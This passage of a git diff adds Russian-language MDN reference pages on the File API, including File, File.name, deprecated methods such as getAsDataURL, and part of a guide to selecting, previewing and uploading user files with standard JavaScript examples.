+   <td>{{SpecName('Service Workers', '#dom-fetchevent-fetchevent', 'FetchEvent()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html
new file mode 100644
index 0000000000..912bfe49ca
--- /dev/null
+++ b/files/ru/web/api/file/filename/index.html
@@ -0,0 +1,32 @@
+---
+title: File.fileName
+slug: Web/API/File/fileName
+translation_of: Web/API/File/fileName
+---
+<p>{{APIRef("File API")}}{{non-standard_header}}</p>
+
+<p>{{deprecated_header(7.0)}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Возвращает имя файла. В целях безопасности путь исключен из этого свойства.</p>
+
+<div class="note">Это свойство исключено. Используйте вместо него  {{domxref("File.name")}}.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var name = instanceOfFile.fileName</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Строка</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью документации.</p>
+
+<h2 id="Смотреть_еще">Смотреть еще</h2>
+
+<ul>
+ <li>{{domxref("File.name")}}</li>
+</ul>
diff --git a/files/ru/web/api/file/getasdataurl/index.html b/files/ru/web/api/file/getasdataurl/index.html
new file mode 100644
index 0000000000..881c5815b8
--- /dev/null
+++ b/files/ru/web/api/file/getasdataurl/index.html
@@ -0,0 +1,64 @@
+---
+title: File.getAsDataURL()
+slug: Web/API/File/getAsDataURL
+tags:
+  - API
+  - File API
+  - Files
+  - Method
+translation_of: Web/API/File/getAsDataURL
+---
+<div>{{APIRef("File API") }}</div>
+
+<p>{{non-standard_header}}</p>
+
+<p>{{deprecated_header(7.0)}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод getAsDataURL возвращает содержимое файла закодированное в формате <a href="/en-US/docs/data_URIs"><code>data:</code></a> URL</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Этот метод является устаревшим; предпочтительнее использовать {{domxref ("FileReader")}} Метод {{domxref ("FileReader.readAsDataURL", "readAsDataURL ()")}} вместо этого.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var url = <em>instanceOfFile</em>.getAsDataURL();</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Строку в формате <a href="/en-US/docs/data_URIs"><code>data:</code></a> URL</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// fileInput is a HTMLInputElement: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+
+// array with acceptable file types
+var accept = ["image/png"];
+
+// img is a HTMLImgElement: &lt;img id="myimg"&gt;
+var img = document.getElementById("myimg");
+
+// if we accept the first selected file type
+if (accept.indexOf(files[0].mediaType) &gt; -1) {
+  // display the image
+  // same as &lt;img src="data:image/png,&lt;imagedata&gt;"&gt;
+  img.src = files[0].getAsDataURL();
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/file/index.html b/files/ru/web/api/file/index.html
new file mode 100644
index 0000000000..82c9f5b7aa
--- /dev/null
+++ b/files/ru/web/api/file/index.html
@@ -0,0 +1,87 @@
+---
+title: File
+slug: Web/API/File
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<div> </div>
+
+<p>Интерфейс <strong><code>File</code></strong> представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту.</p>
+
+<p><code>Объекты File</code>  как правило извлекаются из объекта {{domxref("FileList")}}, который возвращён как результат пользовательского выбора файлов с помощью {{HTMLElement("input")}} элемента, из drag and drop операций {{domxref("DataTransfer")}} объекта, или из <code>mozGetAsFile()</code> API на {{domxref("HTMLCanvasElement")}}. В Gecko, привилегированный код может создать файл представляющий любой локалный файл без пользовательского взаимодействия (см {{anch("Gecko notes")}} для получения большей информации.)</p>
+
+<p>Объект <code>File</code> - особый вид {{domxref("Blob")}}, и может быть использован в любом контексте так же, как и Blob. В частности, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, и {{domxref("XMLHttpRequest", "", "send()")}} допускают и <code>Blob,</code> и <code>File</code>.</p>
+
+<p>Смотри <a href="/ru/docs/Using_files_from_web_applications">Использование файлов в веб приложениях</a> для получения более подробной информации и примеров.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>File</code> также наследует свойства от {{domxref("Blob")}} интерфейса:</em></p>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Возвращает время последнего изменения файла в миллисекунде с эпохи UNIX (1 января 1970 года в 00:00:00  в часовом поясе UTC).</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>Возвращает <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Date">дату</a> последнего изменения файла, на который ссылается объект File.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd>Возвращает имя файла, на который ссылается объект File.</dd>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>Возвращает размер файла.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Возвращает URL адрес, где расположен {{domxref("File")}}.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>тип файла.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Интерфейс не определяет никаких методов, но наследует методы из интерфейса<em> {{domxref("Blob")}}:</em></p>
+
+<p>{{Page("/en-US/docs/Web/API/Blob", "Methods")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{Compat("api.File")}}</div>
+
+<p> </p>
+
+<h2 id="Реализационные_заметки">Реализационные заметки</h2>
+
+<ul>
+ <li>В Gecko, вы можете использовать этот API изнутри chrome code. Смотрите <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Использование DOM File API в chrome code</a>, чтобы узнать больше. Чтобы использовать API в chrome code, JSM и Bootstrap, вы должны импортировать его используя <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li>
+ <li>Начиная с Gecko 6.0 {{geckoRelease("6.0")}}, привелигированный код (такой как расширение) может передавать объект {{interface("nsIFile")}} в DOM <code>File</code> конструктор для указания файла в справку.</li>
+ <li>Начиная с Gecko 8.0 {{geckoRelease("8.0")}}, вы можете использовать <code>new File</code> чтобы создать <code>объект File</code> из XPCOM компонентного кода вместо создания экземпляра {{interface("nsIDOMFile")}} объекта напрямую. Конструктор принимает {{domxref("Blob")}}, второй аргумент - имя файла. Имя файла может быть любой строкой.
+  <pre class="syntaxbox">File File(
+  Array parts,
+  String filename,
+  BlobPropertyBag properties
+);</pre>
+ </li>
+ <li>Следующие нестандартные методы и свойства были убраны в Gecko 7 {{geckoRelease("7.0")}}: {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Стандартные свойства {{domxref("File.name")}}, {{domxref("Blob.size")}}, и методы {{domxref("FileReader")}} должны быть использованы вместо них.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Использование файлов из веб-приложений</a></li>
+ <li>{{domxref("FileReader")}}</li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Использование DOM File API в chrome code</a> (для привелигированного кода, запускаемого в Gecko, такого как Firefox дополнения)</li>
+</ul>
diff --git a/files/ru/web/api/file/name/index.html b/files/ru/web/api/file/name/index.html
new file mode 100644
index 0000000000..5dfb9aefee
--- /dev/null
+++ b/files/ru/web/api/file/name/index.html
@@ -0,0 +1,118 @@
+---
+title: File.name
+slug: Web/API/File/name
+tags:
+  - API
+  - File API
+  - Files
+  - Property
+  - Reference
+translation_of: Web/API/File/name
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>Возвращает имя файла представленного объектом типа {{domxref("File")}}. По соображениям безопасности не содержит пути к файлу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var name = <em>file</em>.name;</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p><span id="result_box" lang="ru"><span>Строка</span><span>,</span> <span>содержащая имя</span> <span>файла</span> <span>без пути</span><span>,</span> <span>например, "</span><span>My</span> <span>Resume.rtf</span><span>"</span><span>.</span></span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
+</pre>
+
+<pre class="brush: js">function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i &lt; files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}</pre>
+
+<p>Проверьте результаты ниже:</p>
+
+<p>{{ EmbedLiveSample('Example', 300, 50) }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.name</td>
+   <td>13.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10.0</td>
+   <td>16.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.name</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{webkitbug("32912")}}</p>
+
+<h2 id="Specification" name="Specification">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Использование файлов в веб приложениях</a></li>
+</ul>
diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..84af0e83a7
--- /dev/null
+++ b/files/ru/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,476 @@
+---
+title: Использование файлов в веб приложениях
+slug: Web/API/File/Using_files_from_web_applications
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>Используя File API, добавленный к DOM в HTML5, в веб-приложениях теперь можно запрашивать пользователя выбрать локальные файлы и затем читать содержимое этих файлов. Выбор файлов может осуществляться с помощью элемента {{ HTMLElement("input") }} или drag and drop.<br>
+ <br>
+ Если вы хотите использовать DOM File API в расширениях или коде Chrome, используйте. На самом деле, в таком случае вам необходимо ознакомиться с дополнительными нюансами. См. статью <a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a> для подробностей.</p>
+
+<h2 id="Доступ_к_выбранным_файлам">Доступ к выбранным файлам</h2>
+
+<p>Рассмотрим следующий код:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="input" multiple&gt;</pre>
+
+<p>File API делает возможным доступ к {{ domxref("FileList") }}, который содержит объекты {{ domxref("File") }}, которым соответствуют файлы, выбранные пользователем.</p>
+
+<p>Атрибут <code>multiple</code> элемента <code>input</code> позволяет пользователю выбрать несколько файлов.</p>
+
+<p>Обращение к одному выбранному файлу с использованием классической DOM-модели:</p>
+
+<pre class="brush: js notranslate">const selectedFile = document.getElementById('input').files[0];</pre>
+
+<p>Обращение к одному выбранному файлу через <a href="http://jquery.com/" title="http://jquery.com/">jQuery</a>:</p>
+
+<pre class="brush: js notranslate">var selectedFile = $('#input').get(0).files[0];
+
+var selectedFile = $('#input')[0].files[0];</pre>
+
+<div class="note">
+<p>Если вы получили ошибку "files is undefined", значит вы выбрали не один HTML-элемент, а список элементов, который возвращает jQuery. Нужно уточнить, у какого именно элемента необходимо вызвать метод "files"</p>
+</div>
+
+<h3 id="Доступ_к_выбранным_файлам_через_событие_change">Доступ к выбранным файлам через событие change</h3>
+
+<p>Также возможно (но не обязательно) получить доступ к {{DOMxRef("FileList")}} через событие <code>change</code>. Нужно использовать {{DOMxRef("EventTarget.addEventListener()")}} чтобы добавить обработчик события <code>change</code>, как показано здесь:</p>
+
+<pre class="brush: js notranslate">const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* now you can work with the file list */
+}</pre>
+
+<p>Обработчик события <code>change</code> можно назначить атрибутом элемента:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>Когда пользователь выбирает файл, функция <span style="font-family: consolas,monaco,andale mono,monospace;">handleFiles() будет вызвана с объектом </span>{{ domxref("FileList") }}, который состоит из объектов {{ domxref("File") }}, представляющих файлы, выбранные пользователем.</p>
+
+<h2 id="Получение_информации_о_выделенных_файлах">Получение информации о выделенных файлах</h2>
+
+<p>Объект {{ domxref("FileList") }} предоставляемый классическим DOM содержит все файлы выбранные пользователем, каждый из которых представляет собой объект {{ domxref("File") }}. Вы можете определить сколько файлов выбрал пользователь проверяя значение аттрибута длины (<code>length</code>) списка файлов:</p>
+
+<pre class="brush: js notranslate"><code>var numFiles = files.length;</code></pre>
+
+<p>Конкретные объекты {{ domxref("File") }} могут быть получены обращением к списку файлов как к массиву:</p>
+
+<pre class="brush: js notranslate">for (var i = 0, numFiles = files.length; i &lt; numFiles; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p>Этот цикл проходит по всем файлам в списке файлов.</p>
+
+<p>Всего существует три аттрибута, предоставляемых объектом {{ domxref("File") }}, которые содержат полезную информацию о файле.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя файла как строка доступная только для чтения. Это просто имя файла и оно не включает в себя информацию о пути.</dd>
+ <dt><code>size</code></dt>
+ <dd>Размер файла в байтах, как 64-битное целое число (возможно только чтение).</dd>
+ <dt><code>type</code></dt>
+ <dd>MIME тип файла, как строка доступная только для чтения, или пустая строка (<code>"") </code>если тип файла не может быть определён.</dd>
+</dl>
+
+<h3 id="Пример_Отображение_размера_файлаов">Пример: Отображение размера файла(ов)</h3>
+
+<p>Следующий пример показывает возможное использование свойства <code>size</code>:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;File(s) size&lt;/title&gt;
+&lt;script&gt;
+function updateSize() {
+  var nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (var nFileId = 0; nFileId &lt; nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  var sOutput = nBytes + " bytes";
+  // optional code for multiples approximation
+  for (var aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox &gt; 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // end of optional code
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="updateSize();"&gt;
+&lt;form name="uploadForm"&gt;
+&lt;p&gt;&lt;input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple&gt; selected files: &lt;span id="fileNum"&gt;0&lt;/span&gt;; total size: &lt;span id="fileSize"&gt;0&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send file"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Использование_метода_click_скрытых_элементов_выбора_файла">Использование метода click() скрытых элементов выбора файла</h2>
+
+<p>Начиная с Gecko 2.0 {{ geckoRelease("2.0") }}, вы можете скрыть непривлекательный элемент {{ HTMLElement("input") }} и предоставить свой собственный интерфейс для открытия диалогового окна выбора и отображения файла или файлов, выбранных пользователем. Вы можете сделать это, присвоив свойству display элемента input  значение none (display:none) и вызывая метод {{ domxref("element.click","click()") }} скрытого элемента {{ HTMLElement("input") }}.</p>
+
+<p>Рассмотрим следующую разметку HTML:</p>
+
+<pre class="brush: html notranslate"><code>&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;</code></pre>
+
+<p>Код, обрабатывающий событие click, может выглядеть следующим образом:</p>
+
+<pre class="brush: js notranslate">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // предотвращает перемещение к "#"
+}, false);
+</pre>
+
+<p>Таким образом, вы можете стилизовать новую кнопку открытия диалога выбора файла так, как пожелаете.</p>
+
+<h2 id="Использование_элемента_label_скрытого_элемента_input">Использование элемента label скрытого элемента input</h2>
+
+<p>Для того, чтобы открыть диалог выбора файла без использования JavaScript (метода click()), можно воспользоваться элементом {{ HTMLElement("label") }}.</p>
+
+<p>Рассмотрим следующую разметку HTML:</p>
+
+<pre class="brush: html notranslate"><code>&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</code></pre>
+
+<p>В данном случае нет необходимости добавлять код JavaScript для того, чтобы вызвать <code>fileElem.click()</code>. Также в данном случае вы можете стилизовать элемент label так, как пожелаете.</p>
+
+<h2 id="Выбор_файлов_с_использованием_технологии_drag_and_drop">Выбор файлов с использованием технологии drag and drop</h2>
+
+<p>Также вы можете предоставить пользователю возможность непосредственно перетаскивать файлы в ваше веб-приложение.</p>
+
+<p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приемку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p>
+
+<pre class="brush: js notranslate">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>В данном примере мы превращаем элемент с ID, равным <code>dropbox, в нашу зону перетаскивания при помощи добавления обработчиков для событий </code><code>dragenter</code>, <code>dragover и</code> <code>drop</code>.</p>
+
+<p>В нашем случае нет необходимости делать что-то особенное при обработке событий <code>dragenter</code> и <code>dragover</code>, таким образом, обе функции, ответственные за обработку данных событий, довольно просты. Они останавливают распространение события и предотвращают возникновение действия по умолчанию:</p>
+
+<pre class="brush: js notranslate">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>Вся настоящая магия происходит в функции <code>drop()</code>:</p>
+
+<pre class="brush: js notranslate">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>Здесь мы извлекаем из события поле <code>dataTransfer</code>, затем вытаскиваем из него список файлов и передаем этот список в <code>handleFiles()</code>. После этого процесс обработки файлов одинаков вне зависимости от того, использовал ли пользователь для их выбора элемент <code>input</code> или технологию drag and drop.</p>
+
+<h2 id="Пример_Отображение_эскизов_изображений_выбранных_пользователем">Пример: Отображение эскизов изображений, выбранных пользователем</h2>
+
+<p>Представим, что вы разрабатываете очередной веб-сайт для обмена фотографиями и вы хотите использовать возможности HTML5 для предварительного просмотра изображений перед тем, как пользователь загрузит их. Вы можете создать <code>input</code> элемент или зону перетаскивания, как обсуждалось ранее, и вызвать такую функцию, как <code>handleFiles()</code> ниже.</p>
+
+<pre class="brush: js notranslate">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // Предполагается, что "preview" это div, в котором будет отображаться содержимое.
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>Здесь наш цикл обрабатывает выбранные пользователем файлы, проверяя атрибут <code>type</code> у каждого файла, чтобы определить является ли файл изображением (выполняется регулярное выражение в строке "<code>image.*</code>"). Для каждого файла, который является изображением, мы создаем новый <code>img</code> элемент. Можно использовать CSS для установки красивых рамок, теней, и указания размеров изображения, но здесь нет нужды делать этого.</p>
+
+<p>Каждое изображение имеет CSS класс <code>obj</code> добавленный к нему для упрощения его поиска в DOM дереве. Мы также добавили атрибут <code>file</code> к каждому изображению, указав {{ domxref("File") }} ; это позволит нам получить изображения для фактической загрузки позже. Наконец, мы используем {{ domxref("Node.appendChild()") }} для того, чтобы добавить новый эскиз в область предпросмотра нашего документа.</p>
+
+<p>Затем мы устанавливаем {{ domxref("FileReader") }} для обработки асинхронной загрузки изображения и прикрепления его к <code>img</code> элементу. После создания нового объекта <code>FileReader</code>, мы настраиваем его функцию <code>onload</code>, затем вызываем <code>readAsDataURL()</code> для запуска операции чтения в фоновом режиме. Когда всё содержимое файла изображения загружено, они преобразуют его в <code>data:</code> URL, который передается в обратный вызов <code>onload</code> . Наша реализация этой процедуры просто устанавливает атрибут <code>src</code> у элемента <code>img</code> загруженного изображения, в результате чего миниатюра изображения появляется на экране пользователя.</p>
+
+<h2 id="Использование_URLs_объктов">Использование URLs объктов</h2>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} представляет поддержку для методов DOM {{ domxref("window.URL.createObjectURL()") }} и {{ domxref("window.URL.revokeObjectURL()") }}. Они позволяют создавать простые строки URL, которые могут быть использованы для обращения к любым данным, на которые можно ссылаться, используя объект DOM {{ domxref("File") }}, включая локальные файлы на компьютере пользователя.</p>
+
+<p>Когда у вас есть объект {{ domxref("File") }}, на который вы хотите ссылаться по URL из HTML, вы можете создать для этого объект URL, такой как этот:</p>
+
+<pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre>
+
+<p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создается новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобожден. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p>
+
+<pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre>
+
+<h2 id="Пример_Использование_URL_объектов_для_отображения_изображений">Пример: Использование URL объектов для отображения изображений</h2>
+
+<p>Этот пример использует URL объектов для отображения эскизов изображений. Кроме этого, оно показывает другую информацию о файлах, включая их имена и размеры. Вы можете <a href="/samples/domref/file-click-demo.html" title="https://developer.mozilla.org/samples/domref/file-click-demo.html">посмотреть работающий пример</a>.</p>
+
+<p>HTML, который представляет интерфейс, выглядит так:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Здесь определяется элемент файла {{ HTMLElement("input") }}, а также ссылка, которая вызывает окно выбора файла, т.к. мы сделали элемент ввода файла скрытым, чтобы этот не слишком привлекательный элемент интерфейса не отображался. Об этом рассказывается в разделе {{ anch("Использование метода click() скрытых элементов выбора файла") }}, как о методе вызова окна выбора файла.</p>
+
+<p>Метод <code>handleFiles()</code> может быть реализован таким образом:</p>
+
+<pre class="brush: js notranslate">window.URL = window.URL || window.webkitURL;
+
+var fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+  } else {
+    var list = document.createElement("ul");
+    for (var i = 0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.<strong>createObjectURL</strong>(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.<strong>revokeObjectURL</strong>(this.src);
+      }
+      li.appendChild(img);
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+</pre>
+
+<p>Он начинается с получения элемента {{ HTMLElement("div") }} с ID <code>fileList</code>. Это блок, в который мы вставим наш список файлов, включая эскизы..</p>
+
+<p>Если объект {{ domxref("FileList") }}, передаваемый в <code>handleFiles()</code> является <code>null</code>, то мы просто устанавливаем внутренний HTML блока в отображение текста "No files selected!". Иначе мы начинаем строить список файлов таким образом:</p>
+
+<ol>
+ <li>Создается новый элемент - неупорядоченный список ({{ HTMLElement("ul") }}).</li>
+ <li>Этот новый элемент вставляется в блок {{ HTMLElement("div") }} с помощью вызова его метода {{ domxref("element.appendChild()") }}.</li>
+ <li>Для каждого {{ domxref("File") }} в {{ domxref("FileList") }}, представляемого <code>files</code>:
+  <ol>
+   <li>Создаем новый элемент пункта списка ({{ HTMLElement("li") }}) и вставляем его в список.</li>
+   <li>Создаем новый элемент изображения ({{ HTMLElement("img") }}).</li>
+   <li>Устанавливаем источник изображения в новый URL объекта, представляющий файл, используя {{ domxref("window.URL.createObjectURL()") }} для создания URL на двоичный объект.</li>
+   <li>Устанавливаем высоту изображения в 60 пикселей.</li>
+   <li>Устанавливаем обработчик события загрузки изображения для освобождения URL объекта, т.к. после загрузки изображения он больше не нужен. Это делается вызовом метода {{ domxref("window.URL.revokeObjectURL()") }}, передавая в него строку URL объекта, которая указана в <code>img.src</code>.</li>
+   <li>Добавляем новый элемент в список.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Пример_Загрузка_файла_выбранного_пользователем">Пример: Загрузка файла, выбранного пользователем</h2>
+
+<p>Еще одна вещь, которую вы можете захотеть сделать <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.</p>
+
+<h3 id="Создание_заданий_на_загрузку">Создание заданий на загрузку</h3>
+
